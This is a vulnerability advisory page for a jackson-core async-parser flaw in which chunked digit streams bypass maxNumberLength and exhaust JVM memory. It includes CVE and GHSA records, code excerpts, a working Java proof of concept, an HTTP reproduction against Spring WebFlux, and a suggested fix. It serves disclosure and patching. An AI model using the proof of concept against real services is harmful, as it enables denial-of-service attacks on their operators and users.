Vulnerability-Lookup

CVE-2026-68494 (GCVE-0-2026-68494)

Vulnerability from cvelistv5 – Published: 2026-08-04 14:39 – Updated: 2026-08-04 14:39 X_Open Source

Title

jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for CVE-2026-18401 / GHSA-72hv-8253-57qq)

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

HeroDevs

References

7 references

URL	Tags
https://github.com/FasterXML/jackson-core/securit…	vendor-advisory
https://github.com/FasterXML/jackson-core/pull/1611	patch
https://github.com/FasterXML/jackson-core/commit/…	patch
https://github.com/FasterXML/jackson-core/commit/…	patch
https://github.com/FasterXML/jackson-core/commit/…	patch
https://www.cve.org/CVERecord?id=CVE-2026-18401	related
https://github.com/advisories/GHSA-72hv-8253-57qq	related

Impacted products

2 products

Vendor	Product	Version
FasterXML	jackson-core	Affected: 2.15.0 , < 2.18.8 (maven) Unaffected: 2.18.8 (maven) Affected: 2.19.0 , < 2.21.4 (maven) Unaffected: 2.21.4 (maven) Affected: 2.22.0 , < 2.22.1 (maven) Unaffected: 2.22.1 (maven)
FasterXML	jackson-core	Affected: 3.0.0 , < 3.1.4 (maven) Unaffected: 3.1.4 (maven) Affected: 3.2.0 , < 3.2.1 (maven) Unaffected: 3.2.1 (maven)

Credits

tonghuaroot tonghuaroot cowtowncoder (Tatu Saloranta)

Show details on NVD website

JSON

To clipboard

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It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\\n\\n\\n\\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. 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The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\\n\\n\\n\\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\\n\\n\\n\\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.\"}],\"affected\":[{\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\",\"affectedData\":[{\"vendor\":\"FasterXML\",\"product\":\"jackson-core\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://repo.maven.apache.org/maven2\",\"packageName\":\"com.fasterxml.jackson.core:jackson-core\",\"programFiles\":[\"src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java\"],\"programRoutines\":[{\"name\":\"NonBlockingUtf8JsonParserBase._startPositiveNumber\"},{\"name\":\"NonBlockingUtf8JsonParserBase._startNegativeNumber\"},{\"name\":\"NonBlockingUtf8JsonParserBase._finishNumberIntegralPart\"}],\"repo\":\"https://github.com/FasterXML/jackson-core\",\"versions\":[{\"version\":\"2.15.0\",\"lessThan\":\"2.18.8\",\"versionType\":\"maven\",\"status\":\"affected\"},{\"version\":\"2.18.8\",\"versionType\":\"maven\",\"status\":\"unaffected\"},{\"version\":\"2.19.0\",\"lessThan\":\"2.21.4\",\"versionType\":\"maven\",\"status\":\"affected\"},{\"version\":\"2.21.4\",\"versionType\":\"maven\",\"status\":\"unaffected\"},{\"version\":\"2.22.0\",\"lessThan\":\"2.22.1\",\"versionType\":\"maven\",\"status\":\"affected\"},{\"version\":\"2.22.1\",\"versionType\":\"maven\",\"status\":\"unaffected\"}]},{\"vendor\":\"FasterXML\",\"product\":\"jackson-core\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://repo.maven.apache.org/maven2\",\"packageName\":\"tools.jackson.core:jackson-core\",\"programFiles\":[\"src/main/java/tools/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java\"],\"programRoutines\":[{\"name\":\"NonBlockingUtf8JsonParserBase._startPositiveNumber\"},{\"name\":\"NonBlockingUtf8JsonParserBase._startNegativeNumber\"},{\"name\":\"NonBlockingUtf8JsonParserBase._finishNumberIntegralPart\"}],\"repo\":\"https://github.com/FasterXML/jackson-core\",\"versions\":[{\"version\":\"3.0.0\",\"lessThan\":\"3.1.4\",\"versionType\":\"maven\",\"status\":\"affected\"},{\"version\":\"3.1.4\",\"versionType\":\"maven\",\"status\":\"unaffected\"},{\"version\":\"3.2.0\",\"lessThan\":\"3.2.1\",\"versionType\":\"maven\",\"status\":\"affected\"},{\"version\":\"3.2.1\",\"versionType\":\"maven\",\"status\":\"unaffected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-770\"}]}],\"references\":[{\"url\":\"https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://github.com/FasterXML/jackson-core/pull/1611\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://github.com/advisories/GHSA-72hv-8253-57qq\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"},{\"url\":\"https://www.cve.org/CVERecord?id=CVE-2026-18401\",\"source\":\"36c7be3b-2937-45df-85ea-ca7133ea542c\"}]}}"
  }
}

GHSA-642R-3GJ9-2PJ5

Vulnerability from github – Published: 2026-08-04 15:32 – Updated: 2026-08-04 15:32

Details

The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.

The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.

Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.

Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.

This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-68494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T15:16:41Z",
    "severity": "HIGH"
  },
  "details": "The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass.\n\n\n\nThe earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a . or e/E is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller.\n\n\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes.\n\n\n\nThe equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase.\n\n\n\nImpact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected.\n\n\n\nExploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed.\n\n\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, from 2.19.0 through 2.21.3, and from 2.22.0 through 2.22.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3 and from 3.2.0 through 3.2.0. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound.",
  "id": "GHSA-642r-3gj9-2pj5",
  "modified": "2026-08-04T15:32:24Z",
  "published": "2026-08-04T15:32:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1611"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18401"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R7WM-3CXJ-WFF9

Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30

Summary

jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

Details

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases: - com.fasterxml.jackson.core:jackson-core 2.18.6 - com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — `_finishNumberIntegralPart` lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.

Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published) - PATCHED run: 2.18.8-SNAPSHOT built from the fix branch - JVM: OpenJDK 17.0.18 - Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one HTTP chunk per feedInput (the same pattern used for any @RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with maxNumberLength=1000 declared. The validator never fires during streaming; it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses maxNumberLength=1000. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build	Chunks accepted before exception	Digits buffered	Time to detection
jackson-core 2.18.7	250 (full payload)	50,000 (50x the configured limit)	6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch)	5	1,001	155ms — moment threshold crossed

Note on the default @RequestBody Mono<JsonNode> path: that path cannot distinguish the two builds because Spring's decodeToMono joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> / WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call), which is also what Jackson2Tokenizer uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

